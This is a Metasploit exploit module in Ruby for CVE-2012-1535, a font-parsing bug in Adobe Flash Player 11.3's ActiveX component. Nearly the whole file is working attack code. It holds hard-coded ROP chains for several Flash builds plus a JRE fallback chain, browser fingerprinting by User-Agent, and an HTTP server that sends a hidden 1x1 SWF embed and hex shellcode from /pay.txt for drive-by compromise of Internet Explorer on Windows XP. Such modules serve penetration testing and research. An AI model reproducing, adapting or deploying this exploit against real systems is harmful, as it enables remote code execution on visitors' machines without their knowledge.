Adobe Flash Player 11.3 Font Parsing Code Execution



##

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = AverageRanking

    include Msf::Exploit::Remote::HttpServer::HTML

    def initialize(info={})
        super(update_info(info,
            'Name'           => "Adobe Flash Player 11.3 Font Parsing Code Execution",
            'Description'    => %q{
                    This module exploits a vulnerability found in the ActiveX component of Adobe
                Flash Player before 11.3.300.271. By supplying a corrupt Font file used by the SWF,
                it is possible to gain arbitrary remote code execution under the context of the
                user, as exploited in the wild.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Alexander Gavrun', #Through iDefense
                    'sinn3r',
                    'juan vazquez'
                ],
            'References'     =>
                [
                    [ 'CVE', '2012-1535' ],
                    [ 'OSVDB', '84607'],
                    [ 'BID', '55009'],
                    [ 'URL', 'http://labs.alienvault.com/labs/index.php/2012/cve-2012-1535-adobe-flash-being-exploited-in-the-wild/' ],
                    [ 'URL', 'http://vrt-blog.snort.org/2012/08/cve-2012-1535-flash-0-day-in-wild.html' ],
                    [ 'URL', 'http://contagiodump.blogspot.com.es/2012/08/cve-2012-1535-samples-and-info.html' ]
                ],
            'Payload'        =>
                {
                    'Space'    => 1024
                },
            'DefaultOptions'  =>
                {
                    'InitialAutoRunScript' => 'migrate -f'
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    # Tested successfully on:
                    # Flash 11.3.300.268
                    # Flash 11.3.300.265
                    # Flash 11.3.300.257
                    [ 'Automatic', {} ],
                    [
                        'IE 6 on Windows XP SP3',
                        {
                            'Rop'    => nil
                        }
                    ],
                    [
                        'IE 7 on Windows XP SP3',
                        {
                            'Rop'    => nil
                        }
                    ],
                    [
                        'IE 8 on Windows XP SP3',
                        {
                            'Rop' => true
                        }
                    ]
                ],
            'Privileged'     => false,
            'DisclosureDate' => "Aug 9 2012",
            'DefaultTarget'  => 0))

        register_options(
            [
                OptEnum.new('ROP', [true, "The ROP chain to use", 'SWF', %w(SWF JRE)]),
            ], self.class)
    end

    def nop
        return make_nops(4).unpack("L")[0].to_i
    end

    def get_payload(t, flash_version=nil)
        if t['Rop'].nil?
            p = [
                0x0c0c0c0c, # mapped at 1e0d0000
                0x0c0c0c0c,
                0x0c0c0c0c, # mapped at 1e0d0008
            ].pack("V*")

            p << payload.encoded
        else
            if datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,257/

                print_status("Using Rop Chain For Flash: #{flash_version}")
                stack_pivot = [
                    0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
                    0x0c0c0c0c,
                    0x1001d891, # xchg eax, esp # ret (1e0d0008)
                ].pack("V*")

                rop = [
                    0x10241001, # POP EAX # RETN (Flash32_11_3_300_257.ocx)
                    0x106e3384, # <- *&VirtualProtect()
                    0x1029de2f, # MOV EAX,DWORD PTR DS:[EAX] # RETN (Flash32_11_3_300_257.ocx)
                    0x106add37, # XCHG EAX,ESI # RETN (Flash32_11_3_300_257.ocx)
                    0x1064e000, # POP EBP # RETN (Flash32_11_3_300_257.ocx)
                    0x10175c57, # ptr to 'jmp esp' (from Flash32_11_3_300_257.ocx)
                    0x106a4010, # POP EBX # RETN (Flash32_11_3_300_257.ocx)
                    0x00000201, # <- change size to mark as executable if needed (-> ebx)
                    0x104de800, # POP ECX # RETN (Flash32_11_3_300_257.ocx)
                    0x10955000, # W pointer (lpOldProtect) (-> ecx)
                    0x10649003, # POP EDI # RETN (Flash32_11_3_300_257.ocx)
                    0x10649004, # ROP NOP (-> edi)
                    0x10649987, # POP EDX # RETN (Flash32_11_3_300_257.ocx)
                    0x00000040, # newProtect (0x40) (-> edx)
                    0x10241001, # POP EAX # RETN (Flash32_11_3_300_257.ocx)
                    nop,        # NOPS (-> eax)
                    0x1060e809, # PUSHAD # RETN (Flash32_11_3_300_257.ocx)
                ].pack("V*")

            elsif datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,265/

                print_status("Using Rop Chain For Flash: #{flash_version}")
                stack_pivot = [
                    0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
                    0x0c0c0c0c,
                    0x1001d6d3, # xchg eax, esp # ret (1e0d0008)
                ].pack("V*")

                rop = [
                    0x10241002, # POP EAX # RETN (Flash32_11_3_300_265.ocx)
                    0x106e338c, # <- *&VirtualProtect()
                    0x1029ea04, # MOV EAX,DWORD PTR DS:[EAX] # RETN (Flash32_11_3_300_265.ocx)
                    0x103d60b8, # XCHG EAX,ESI # RETN (Flash32_11_3_300_265.ocx)
                    0x105cc000, # POP EBP # RETN (Flash32_11_3_300_265.ocx)
                    0x1001c5cd, # ptr to 'jmp esp' (from Flash32_11_3_300_265.ocx)
                    0x10398009, # POP EBX # RETN (Flash32_11_3_300_265.ocx)
                    0x00000201, # <- change size to mark as executable if needed (-> ebx)
                    0x10434188, # POP ECX # RETN (Flash32_11_3_300_265.ocx)
                    0x10955000, # W pointer (lpOldProtect) (-> ecx)
                    0x105c1811, # POP EDI # RETN (Flash32_11_3_300_265.ocx)
                    0x105c1812, # ROP NOP (-> edi)
                    0x10650602, # POP EDX # RETN (Flash32_11_3_300_265.ocx)
                    0x00000040, # newProtect (0x40) (-> edx)
                    0x10241002, # POP EAX # RETN (Flash32_11_3_300_265.ocx)
                    nop,        # NOPS (-> eax)
                    0x1062800f, # PUSHAD # RETN (Flash32_11_3_300_265.ocx)
                ].pack("V*")

            elsif datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,268/

                print_status("Using Rop Chain For Flash: #{flash_version}")
                stack_pivot = [
                    0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
                    0x0c0c0c0c,
                    0x1001d755, # xchg eax, esp # ret (1e0d0008)
                ].pack("V*")
                rop = [
                    0x1023e9b9, # POP EAX # RETN (Flash32_11_3_300_268.ocx)
                    0x106e438c, # <- *&VirtualProtect()
                    0x10198e00, # MOV EAX,DWORD PTR DS:[EAX] # RETN (Flash32_11_3_300_268.ocx)
                    0x106ddf15, # XCHG EAX,ESI # RETN (Flash32_11_3_300_268.ocx)
                    0x1035f000, # POP EBP # RETN (Flash32_11_3_300_268.ocx)
                    0x10175c28, # ptr to 'jmp esp' (from Flash32_11_3_300_268.ocx)
                    0x105e0013, # POP EBX # RETN (Flash32_11_3_300_268.ocx)
                    0x00000201, # <- change size to mark as executable if needed (-> ebx)
                    0x10593801, # POP ECX # RETN (Flash32_11_3_300_268.ocx)
                    0x1083c000, # RW pointer (lpOldProtect) (-> ecx)
                    0x10308b0e, # POP EDI # RETN (Flash32_11_3_300_268.ocx)
                    0x10308b0f, # ROP NOP (-> edi)
                    0x10663a00, # POP EDX # RETN (Flash32_11_3_300_268.ocx)
                    0x00000040, # newProtect (0x40) (-> edx)
                    0x1023e9b9, # POP EAX # RETN (Flash32_11_3_300_268.ocx)
                    nop,        # NOPS (-> eax)
                    0x1069120b, # PUSHAD # RETN (Flash32_11_3_300_268.ocx)
                ].pack("V*")

            else

                print_status("Default back to JRE ROP")
                stack_pivot = [
                    0x7c34a028, # POP EDI # POP ESI # RETN (1e0d0000)
                    0x0c0c0c0c,
                    0x7c348b05, # xchg eax, esp # ret (1e0d0008)
                ].pack("V*")

                rop = [
                    0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
                    0x00001000, # (dwSize)
                    0x7c347f98, # RETN (ROP NOP)
                    0x7c3415a2, # JMP [EAX]
                    0xffffffff,
                    0x7c376402, # skip 4 bytes
                    0x7c345255, # INC EBX # FPATAN # RETN
                    0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
                    0x7c344f87, # POP EDX # RETN
                    0x00000040, # flNewProtect
                    0x7c34d201, # POP ECX # RETN
                    0x7c38b001, # &Writable location
                    0x7c347f97, # POP EAX # RETN
                    0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
                    0x7c378c81, # PUSHAD # ADD AL,0EF # RETN
                    0x7c345c30, # ptr to 'push esp #  ret '
                ].pack("V*")

            end
            p = stack_pivot
            p << rop
            p << payload.encoded
        end
        return p
    end

    def get_target(agent)
        #If the user is already specified by the user, we'll just use that
        return target if target.name != 'Automatic'

        if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
            return targets[1]  #IE 6 on Windows XP SP3
        elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
            return targets[2]  #IE 7 on Windows XP SP3
        elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
            return targets[3]  #IE 8 on Windows XP SP3
        else
            return nil
        end
    end

    def on_request_uri(cli, request)

        agent = request.headers['User-Agent']
        print_status("User-agent: #{agent}")
        my_target = get_target(agent)

        print_status("Client requesting: #{request.uri}")

        # Avoid the attack if the victim doesn't have the same setup we're targeting
        if my_target.nil?
            print_error("Browser not supported: #{agent}")
            send_not_found(cli)
            return
        end

        # The SWF request itself
        if request.uri =~ /\.swf$/
            print_status("Sending SWF")
            send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash'})
            return
        end

        # The TXT payload request
        if request.uri =~ /\.txt$/
            flash_version = request.headers['x-flash-version']
            shellcode = get_payload(my_target, flash_version).unpack('H*')[0]
            print_status("Sending Payload")
            send_response(cli, shellcode, { 'Content-Type' => 'text/plain' })
            return
        end

        swf_uri = get_resource() + Rex::Text.rand_text_alphanumeric(rand(8)+4) + ".swf"

        html = %Q|
        <html>
        <head>
        </head>
        <body>
        <object width="1" height="1" type="application/x-shockwave-flash" data="#{swf_uri}">
        <param name="movie" value="#{swf_uri}">
        </object>
        </body>
        </html>
        |

        html = html.gsub(/^\t\t/, '')

        # we need to handle direct /pay.txt requests
        proc = Proc.new do |cli, req|
            on_request_uri(cli, req)
        end
        add_resource({'Path' => "/pay.txt", 'Proc' => proc}) rescue nil

        print_status("Sending HTML")
        send_response(cli, html, {'Content-Type'=>'text/html'})
    end

    def exploit
        @swf = create_swf
        print_status("SWF Loaded: #{@swf.length.to_s} bytes")
        super
    end

    def create_swf
        path = ::File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-1535", "trigger.swf" )
        fd = ::File.open( path, "rb" )
        swf = fd.read(fd.stat.size)
        fd.close
        return swf
    end

    def cleanup
        vprint_status("Removing txt resource")
        remove_resource('/pay.txt') rescue nil
        super
    end

end